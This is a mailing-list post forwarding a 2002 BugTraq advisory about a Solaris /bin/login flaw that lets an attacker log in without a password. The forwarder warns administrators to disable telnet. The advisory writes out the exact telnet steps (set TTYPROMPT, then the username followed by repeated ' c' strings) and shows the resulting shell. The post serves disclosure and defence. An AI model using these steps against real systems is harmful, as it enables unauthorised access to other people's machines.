[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Very scarey hole in Solaris telnet daemon



Anybody who has left telnet enabled on their Solaris boxes, you'd better
turn it off right away.

I've just tested the below exploit, and it works beautifully.

Regards,

Brian.

-------- Original Message --------
Subject: Solaris 2.6, 7, 8
Date: Wed, 2 Oct 2002 12:13:09 -0400 (EDT)
From: Jonathan S <js at APOLLO.GTI.NET>
To: bugtraq at securityfocus.com

Hello,

   Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT.  This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
   However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists.  The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n".  You will then be logged in as the user
without any password authentication.  This should work with any account
except root (unless remote root login is allowed).

Example:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

Jonathan Stuart
Network Security Engineer
Computer Consulting Partners, Ltd.
E-mail: jons at ccpartnersltd.com



-----
This is the afnog mailing list, managed by Majordomo 1.94.5

To send a message to this list, e-mail afnog at afnog.org
To send a request to majordomo, e-mail majordomo at afnog.org and put
your request in the body of the message (i.e use "help" for help)

This list is maintained by owner-afnog at afnog.org